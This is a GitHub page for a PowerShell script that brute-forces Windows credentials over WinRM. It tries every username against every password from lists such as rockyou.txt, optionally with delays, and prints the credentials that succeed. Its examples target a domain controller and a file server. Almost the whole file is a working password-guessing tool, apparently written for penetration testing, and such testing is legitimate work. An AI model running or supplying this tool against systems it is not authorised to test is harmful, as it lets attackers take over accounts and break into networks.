-
Notifications
You must be signed in to change notification settings - Fork 92
/
Test-BruteForceCredentials.ps1
220 lines (141 loc) · 6.22 KB
/
Test-BruteForceCredentials.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
Function Test-BruteForceCredentials {
<#
.SYNOPSIS
This cmdlet was created to brute force credentials using WinRM
.DESCRIPTION
Brute force credentials of a user or list of users and a password or list of passwords on a remote or local device
.PARAMETER ComputerName
This parameter defines a single remote device to test credentials against
.PARAMETER UseSSL
This switch parameter indicates that WinRM over HTTPS should be used to test credential validation
.PARAMETER SleepSeconds
Defines the number of seconds that should pass before attempting the next set of credentials
.PARAMETER SleepMinutes
Defines the number of minutes that should pass before attempting the next set of credentials
.PARAMETER Username
This parameter defines a single username or a list of usernames against the passwords you define
.PARAMETER UserFile
This parameter defines a file containing a list of usernames
.PARAMETER Passwd
This parameter defines a single password to test against the users you define
.PARAMETER PassFile
This parameter defines a file containng a list of passwords
.EXAMPLE
Test-BruteForceCredentials -ComputerName DC01.domain.com -UseSSL -Username 'admin','administrator' -Passwd 'Password123!' -SleepMinutes 5
# This example will test the one password defined against both the admin and administrator users on the remote computer DC01.domain.com using WinRM over HTTPS with a time interval of 5 minutes between each attempt
.EXAMPLE
Test-BruteForceCredentials -ComputerName File.domain.com -UserFile C:\Temp\users.txt -PassFile C:\Temp\rockyou.txt
# This example will test every password in rockyou.txt against every username in the users.txt file without any pause between tried attempts
.NOTES
Author: Robert H. Osborne
Alias: tobor
Contact: [email protected]
.LINK
https://osbornepro.com
https://writeups.osbornepro.com
https://encrypit.osbornepro.com
https://btpssecpack.osbornepro.com
https://github.com/tobor88
https://github.com/OsbornePro
https://gitlab.com/tobor88
https://www.powershellgallery.com/profiles/tobor
https://www.linkedin.com/in/roberthosborne/
https://www.credly.com/users/roberthosborne/badges
https://www.hackthebox.eu/profile/52286
.INPUTS
System.String, System,Array
.OUTPUTS
PSCustomObject
#>
[CmdletBinding()]
param(
[Parameter(
Mandatory=$True,
ValueFromPipeline=$True,
ValueFromPipelineByPropertyName=$False,
HelpMessage="`n[H] Define a device on the network to test credentials against `n[E] EXAMPLE: test.domain.com")] # End Parameter
[String]$ComputerName,
[Parameter(
Mandatory=$False
)] # End Parameter
[Switch][Bool]$UseSSL,
[Parameter(
Mandatory=$False,
ValueFromPipeline=$False
)] # End Parameter
[Int64]$SleepSeconds,
[Parameter(
Mandatory=$False,
ValueFromPipeline=$False
)] # End Parameter
[Int64]$SleepMinutes,
[Parameter(
Mandatory=$False
)] # End Parameter
[String[]]$Username,
[Parameter(
Mandatory=$False
)] # End Parameter
[String]$UserFile,
[Parameter(
Mandatory=$False
)] # End Parameter
[String[]]$Passwd,
[Parameter(
Mandatory=$False
)] # End Parameter
[String]$PassFile) # End param
If ($PSBoundParameters.Keys -eq 'Username') {
Write-Verbose -Message "Username ParameterSet being used"
[Array]$UserList = $Username
} ElseIf ($PSBoundParameters.Keys -eq 'UserFile') {
Write-Verbose -Message "UserFile ParameterSet being used"
$UserList = Get-Content -Path $UserFile
ForEach ($User in $UserList) {
$UserList += $User
} # End ForEach
} # End ElseIf
If ($PSBoundParameters.Keys -eq 'Passwd') {
Write-Verbose -Message "Passwd ParameterSet being used"
[Array]$PassList = $Passwd
} ElseIf ($PSBoundParameters.Keys -eq 'PassFile') {
Write-Verbose -Message "PassFile ParameterSet being used"
$PassList = Get-Content -Path $PassFile
ForEach ($P in $PassList) {
$Passwd += $P
} # End ForEach
} # End ElseIf
ForEach ($U in $UserList) {
Write-Verbose -Message "Testing passwords for $U"
ForEach ($P in $PassList) {
$Error.Clear()
$Credentials = @()
$SecurePassword = ConvertTo-SecureString -String $P -AsPlainText -Force
$AttemptCredentials = New-Object -TypeName System.Management.Automation.PSCredential($U, $SecurePassword)
If ($UseSSL.IsPresent) {
If ($PSBoundParameters.Keys -eq "SleepSeconds") {
Start-Sleep -Seconds $SleepSeconds
} ElseIf ($PSBoundParameters.Keys -eq "SleepMinutes") {
Start-Sleep -Seconds $SleepMinutes
} # End If ElseIf
$Result = Test-WSMan -UseSSL -ComputerName $ComputerName -Credential $AttemptCredentials -Authentication Negotiate -ErrorAction SilentlyContinue
} Else {
If ($PSBoundParameters.Keys -eq "SleepSeconds") {
Start-Sleep -Seconds $SleepSeconds
} ElseIf ($PSBoundParameters.Keys -eq "SleepMinutes") {
Start-Sleep -Seconds $SleepMinutes
} # End If ElseIf
$Result = Test-WSMan -ComputerName $ComputerName -Credential $AttemptCredentials -Authentication Negotiate -ErrorAction SilentlyContinue
} # End If Else
If ($Null -eq $Result) {
Write-Verbose -Message "[*] Testing Password: $P = Failed"
} Else {
$Credentials += "USER: $U`nPASS: $P`n"
Write-Output -InputObject "SUCCESS: `n$Credentials`n"
} # End If Else
} # End ForEach
} # End ForEach
If ($Null -eq $Credentials) {
Write-Output -InputObject "FAILED: None of the defined passwords were found to be correct"
} # End Else
} # End Function Test-BruteForceCredentials